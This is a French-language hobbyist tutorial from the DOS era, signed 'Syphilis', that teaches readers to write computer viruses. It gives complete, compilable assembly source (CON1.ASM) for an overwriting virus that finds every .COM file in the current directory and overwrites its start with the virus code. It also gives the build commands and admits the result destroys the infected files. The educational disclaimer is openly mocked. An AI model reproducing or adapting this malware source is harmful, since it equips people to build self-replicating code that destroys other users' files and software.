--------------------------------- THE INTRO ----------------------------------

Alors comme ‡a on veut cr‚er des virus ?
Ok suis d accord pour t apprendre mais il faudra 1)t accrocher, 2)bien
connaitre l'assembleur, 3)ˆtre imaginatif pour cr‚er de nouveaux virus
rigolo ( ne faites pas des virus sadiques, y a assez comme ‡a ).
Ce tutorial a juste bien s– un but ‚ducatif et je ne peux bla bla bla bla
bla etre responsable des conneries que vous fairez bla bla bla. 

Bien aprŠs ce petit pr‚ambule attaquons le vrai boulot !

Comment marche un virus ?
-------------------------

THE question ke si en y reflechissant bien t aurais pu y r‚pondre tout seul !
Reflechis ( tu peux ? ) 
HHHHHHHhaaaaaaaaaaaaa tu peux pas ! (comme moi quoi )
Ben en fait examinons de plus prŠs la structure d'un executable COM :
WWWWoooooooouuuuaaaaaaaaa Super ! Y a pas de truc compliqu‚ ! Est ecrit sur
le disque exactement ce qui doit ˆtre charg‚ en m‚moire ! Donc pas besoin
de se compliquer la vie pour infecter un fichier y a ka se recopier dedans et
on s executera … la place de celui ci!

--------------------------- ALLER GO !!!!!!!!! -------------------------------

 I - Infecteur par recouvrement : CON1.ASM
 -----------------------------------------

Exemple Tout con Beef13 Virus d‚bile 1
Ce programme est tout simple : Il cherche les fichiers COM dans le rep courant
et les infecte en se copiant au tout debut du fichier.

Mais comment chercher des fichiers ?
En utilisant la fonction de l'API DOS appropri‚e. COmment la connaitre ? En
lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC.
Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions
correspondent aux fonctions C findfirst() et findnext() mais ici on n'a pas
de ffblk.
Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramŠtre
en AH le num‚ro de la fonc et en dx l'OFFSET sur une chaine ASCIIZ (qui finit
par un zero si t es trop con pour savoir ce que c'est ) avec le nom du fichier
… rechercher ( les caractŠres jokers sont accept‚s ).
En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier est
trouv‚ plein de trucs sont mis dansl la DTA qui est toujours situ‚e … partir
de l'OFFSET 80h du PSP. Le nom du fichier se trouve … L OFFSET 9Eh. Pour
rechercher un autre fichier, il suffit d'appeler la fonction 4Fh ( mov ah,4Fh)
puis int 21h).

Bon maintenant on sait chercher des fichiers. Mais comment s'en servir.
Souviens toi qu'on a le nom du fihcier qu'on viens de trouver … l offset 9Eh,
au debut du segment dans le PSP ( Prefix Segment Program ou l inverse sais
plus).
Il va encore falloir se servir des fonctions de l'API DOS. Les utiles ici
sont au nombre de trois :
la 3Dh  : ouvrir un fichier  (Handle)
la 3Eh  : fermer un fichier  (Handle)
la 40h  : ‚crire dans un fichier (Handle) 
Dans le monde de DOS il existe 2 moyens de se servir des fichiers : le FCB
et les Handles. Nous utiliserons les Handle qui sont beaucoup plus pratique
dans cette situation.

pour ouvrir un fichier, il suffit de foutre en AH le num‚ro de la fontion
(3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du nom de
fichier puis un petit int 21h et le tour est jou‚. Cette fonction renvoie
le Handle du fichier en AX. Mais comme toutes les autres fonctions le veulent
en BX ou le foutra en BX toute suite grƒce … un xchg ax,bx.

Pouis on ecrit deadns le virus au tout d‚but du fichier. Etant donner qu'il
viens d'ˆtre ouvert, il est au tout d‚but et pas de soucis … avoir de ce c“t‚
l….Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille et en DX
l offset du buffer … ‚crire. Dans notre cas l offset est ‚gal … 100h
( fin du PSP et d‚but du prog). La taille a ‚t‚ cod‚e directement mais
on aurait pu mettre un OFFSET machin avec un machin: … la fin du file
pour ke tout soit OK.

Reste … fermer le fichier avec la fonction 3Eh qui attends le handle en BX
et le tour et jou‚.
Voici maintenant le fichier. Grƒce … queqlques astuces dans son organisation
j ai pu r‚duire sa taille au max.

-------------------------- Fichier CON1.ASM  ---------------------------------

; CE virus est un virus d‚bile !!!!!

.model small                        ;modele de m‚moire
.code                              ;segment de code

        ORG     100h               ;un COM commence … l adresse m‚moire 100h

CON1:

        mov     ah,4Eh             ; Rechercher le premier COM du r‚pertoire   
        mov     dx,OFFSET FILESPEC
        int     21h

INFECT:

        jc      FIN                ; si aucun -> FIN
        mov     ax,3D01h           ; un fichier a ‚t‚ trouv‚ :     
        mov     dx,9Eh             ; l'ouvrir
        int     21h

        xchg    ax,bx              ;Handle en BX

        mov     ah,40h             ;Ecrire le virus au d‚but du fichier     
        mov     cx,2Dh              ;Taille du virus
        mov     dx,100h
        int     21h

        mov     ah,3Eh             ;fermer le fichier     
        int     21h

        mov     ah,4Fh             ;chercher fichier suivant     
        int     21h
        jmp     INFECT

FIN:
        ret

        FILESPEC DB '*.COM',0 ; Doit finir par un z‚ro !

        END CON1

------------------------------- Fin du Fichier -------------------------------
Voil… c'est tout !
Pour le compiler : tasm con1
                   tlink /t con1
et on a le fichier con1.com
Si tu ne compreds pas ce code passes ton chemin !

Si toi tester ce virus, il detruira tous les fichiers COM du r‚pertoire !
C'est un peu ennuyeux si on veux rester discret.

Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux ci
ayant un en-tˆte precis et pouvant faire pluisieurs segment, ils sont plus
compliqu‚s … infecter.

Voila c tout pour cette fois ci. La prochaine fois on verra comment ne pas
detruire l h“te. Tu peux qd meme y reflechir d ici la c pas bien
compliqu‚.


                                            Syphilis ( Syphilis@caramail.com )